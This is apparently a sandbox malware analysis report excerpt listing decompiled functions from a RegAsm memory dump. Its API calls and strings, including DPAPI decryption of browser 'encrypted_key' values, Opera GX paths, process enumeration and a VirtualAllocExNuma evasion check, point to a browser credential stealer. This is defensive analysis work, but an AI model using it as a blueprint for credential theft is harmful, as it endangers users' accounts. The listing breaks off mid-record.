Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 1b2cde63ef37e1a1dece4f73249a6486ae0bd622dba7f96f12f0da2185bdb3dc
Instruction ID: 3142be32a0898fa37cf21a219849962ae060fcbe5e786a9b28d9841eff91e78c
Opcode Fuzzy Hash: 1b2cde63ef37e1a1dece4f73249a6486ae0bd622dba7f96f12f0da2185bdb3dc
Instruction Fuzzy Hash: 0221C532A0020AABCF14EB95DE419DE7774EF40764F1181BEE950B72D1EF38AE45C668

Function 0041135D Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004357AA), ref: 0041138C
Process32First.KERNEL32(00000000,00000128), ref: 0041139C
Process32Next.KERNEL32(00000000,00000128), ref: 004113FA
CloseHandle.KERNEL32(00000000), ref: 00411405

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: b5524cb9d4c8d154a46d3ba7b82fe546f7196356a0d3f3a9b36198523f5b4cad
Instruction ID: af0dbf51859457df2cfbb0ff54dfb39fe59ae22e3d19c542522745c9ffaf2c85
Opcode Fuzzy Hash: b5524cb9d4c8d154a46d3ba7b82fe546f7196356a0d3f3a9b36198523f5b4cad
Instruction Fuzzy Hash: DD118671B002189BD710AB25DD85BED73A8AF44304F0000A6BE09F3251CFB89EC58B95

Function 00410E09 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410E1D
RtlAllocateHeap.NTDLL(00000000), ref: 00410E24
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,?), ref: 00410E42
RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,000000FF), ref: 00410E5E

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: 3bc6ee32fbb77d7b09bc9f302aedcbbb6cce2bc36e101433a5141c2bcc35986a
Instruction ID: 699479ce35d2b568f46c41417d4dcdbfd4814ec48a771b282dba3b8012553ad7
Opcode Fuzzy Hash: 3bc6ee32fbb77d7b09bc9f302aedcbbb6cce2bc36e101433a5141c2bcc35986a
Instruction Fuzzy Hash: 39F05EB6A40204FFEB104B91ED0EFAABBBEEB44705F101074F702E61A0D7B15A049BA0

Function 00412300 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,004145F1), ref: 0041231A
WriteFile.KERNEL32(00000000,?,00000000,004145F1,00000000,?,?,?,?,004145F1), ref: 00412341
CloseHandle.KERNEL32(00000000,?,?,?,?,004145F1), ref: 00412358

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: f62075c804e0ce127a4aa0ec18c468bbaf87d436b8c9701098b2469880ab2b67
Instruction ID: dbabe7f33c4f698ccbcd2f9f5a726a7a46cc4bac79b3f23c58eb9ca8ac48ea16
Opcode Fuzzy Hash: f62075c804e0ce127a4aa0ec18c468bbaf87d436b8c9701098b2469880ab2b67
Instruction Fuzzy Hash: 3AF0F67110010CBFDB005F65DD85EEF375CEB05398F004022FD11A71A0D3A98D5267A4

Function 00412104 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00412126
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412141
CloseHandle.KERNEL32(00000000), ref: 00412148

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 4343f625a2f8ec20e5849cc3f87f8b9d9cf122030b0ba8019c59ea4597d7f79f
Instruction ID: 751e4def6fadd0b145a49f3fc6de66e46a691796cd214ab8cfb2d5bb672c8984
Opcode Fuzzy Hash: 4343f625a2f8ec20e5849cc3f87f8b9d9cf122030b0ba8019c59ea4597d7f79f
Instruction Fuzzy Hash: 23F0B47560020CABD710EB69EC45FEEB7B9AB45B00F00006AF645E7190DFB4D9848794

Function 00410B3D Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B49
RtlAllocateHeap.NTDLL(00000000), ref: 00410B50
GetComputerNameA.KERNEL32(00000000,?), ref: 00410B64

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: c0f53af96f181a98201e3750d922b9f4c36ecd584b5f3234246d261a70a350bb
Instruction ID: 775a8bf7327d8f2868ff7fedd49353690fc8337613b411894c1508aa7a1b3fbf
Opcode Fuzzy Hash: c0f53af96f181a98201e3750d922b9f4c36ecd584b5f3234246d261a70a350bb
Instruction Fuzzy Hash: 2EE08CB1300204BBD7108B999C4DE8A76FCDB84755F800036B606C2291EAF4998A8628

Function 004010E0 Relevance: 4.5, APIs: 3, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004010F0
VirtualAllocExNuma.KERNEL32(00000000), ref: 004010F7
ExitProcess.KERNEL32 ref: 00401102

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 68c7ce835b8d931ef202e2d856342710df8f302134b3ad0e422d9296e70e3ea0
Instruction ID: bc51cd1dbd2bd32420350a4a17e0f7c16f6db888d9c7edc5e62f97ce433bc901
Opcode Fuzzy Hash: 68c7ce835b8d931ef202e2d856342710df8f302134b3ad0e422d9296e70e3ea0
Instruction Fuzzy Hash: D0D00270BCC300B6E6351BA15C0EF1A39786B14F42FD08432B746FD4E2D6BCA44A5A2D

Function 0040C814 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

StrCmpCA.SHLWAPI(?,Opera GX,0043587F,0043587E), ref: 0040C847

Part of subcall function 00411C74: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00411C4A: GetFileAttributesA.KERNEL32(?,?,?,0040A19C), ref: 00411C51

Part of subcall function 00408191: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004081D7

Strings

Opera GX, xrefs: 0040C837

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 85f5bc5ada47b9cf7ae4a01c636bab46937b8e1d9f12d8872fef06ad803c2dd4
Instruction ID: 7eab6f0d1612a83de2c12b0d1935665fd50dbfca9387b897dd7c5d03faf3e448
Opcode Fuzzy Hash: 85f5bc5ada47b9cf7ae4a01c636bab46937b8e1d9f12d8872fef06ad803c2dd4
Instruction Fuzzy Hash: F8B1CA729001199BCF10FFA6DE835CD7774AF44308F51013AFD04771A2DAB9AE9A8B99

Function 00407AFD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002), ref: 00407B7C

Strings

, xrefs: 00407B4F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: ad21b258c019908a5cd12ee430f0ba8477b00322ef14f7b6ed3a962b7ee670dd
Instruction ID: eb5f04808b880a8f96a9eadbcc85ca11172c62550a8f62ebaa27aa81c0ff2cd3
Opcode Fuzzy Hash: ad21b258c019908a5cd12ee430f0ba8477b00322ef14f7b6ed3a962b7ee670dd
Instruction Fuzzy Hash: F8116D71D08109AADB24CF98C5847AAB7F4FB05348F9444269641F33C1C77CB942E75A

Function 1FEE04D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

failed to allocate %u bytes of memory, xrefs: 1FEE04E7

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: failed to allocate %u bytes of memory
API String ID: 0-1168259600
Opcode ID: cc30a29e8ba63f04037c8cfa2b60eaf6b3cbcb6181b0e8ed00b45d50a934768c
Instruction ID: ae2a95d3147ac4a957406c73aa7d0a353fff8c53994a6004728e3b210e42f174
Opcode Fuzzy Hash: cc30a29e8ba63f04037c8cfa2b60eaf6b3cbcb6181b0e8ed00b45d50a934768c
Instruction Fuzzy Hash: A0C01236D8C32263D61115D0BC01BCD79415B605A5F064039FE4C59225E655AD5543D2

Function 00415E6C Relevance: 2.6, APIs: 2, Instructions: 97stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411C74: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

lstrcat.KERNEL32(?,00000000), ref: 00415EB4
lstrcat.KERNEL32(?), ref: 00415ED2

Part of subcall function 00415B0D: wsprintfA.USER32 ref: 00415B54
Part of subcall function 00415B0D: FindFirstFileA.KERNEL32(?,?), ref: 00415B6B
Part of subcall function 00415B0D: StrCmpCA.SHLWAPI(?,00435A84), ref: 00415B8C
Part of subcall function 00415B0D: StrCmpCA.SHLWAPI(?,00435A88), ref: 00415BA6
Part of subcall function 00415B0D: wsprintfA.USER32 ref: 00415BCD
Part of subcall function 00415B0D: StrCmpCA.SHLWAPI(?,00435633), ref: 00415BE1
Part of subcall function 00415B0D: wsprintfA.USER32 ref: 00415BFE
Part of subcall function 00415B0D: PathMatchSpecA.SHLWAPI(?,?), ref: 00415C2B
Part of subcall function 00415B0D: lstrcat.KERNEL32(?), ref: 00415C61
Part of subcall function 00415B0D: lstrcat.KERNEL32(?,00435AA0), ref: 00415C73
Part of subcall function 00415B0D: lstrcat.KERNEL32(?,?), ref: 00415C86
Part of subcall function 00415B0D: lstrcat.KERNEL32(?,00435AA4), ref: 00415C98
Part of subcall function 00415B0D: lstrcat.KERNEL32(?,?), ref: 00415CAC

Part of subcall function 00415B0D: wsprintfA.USER32 ref: 00415C15
Part of subcall function 00415B0D: FindNextFileA.KERNEL32(?,?), ref: 00415E3B
Part of subcall function 00415B0D: FindClose.KERNEL32(?), ref: 00415E4F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

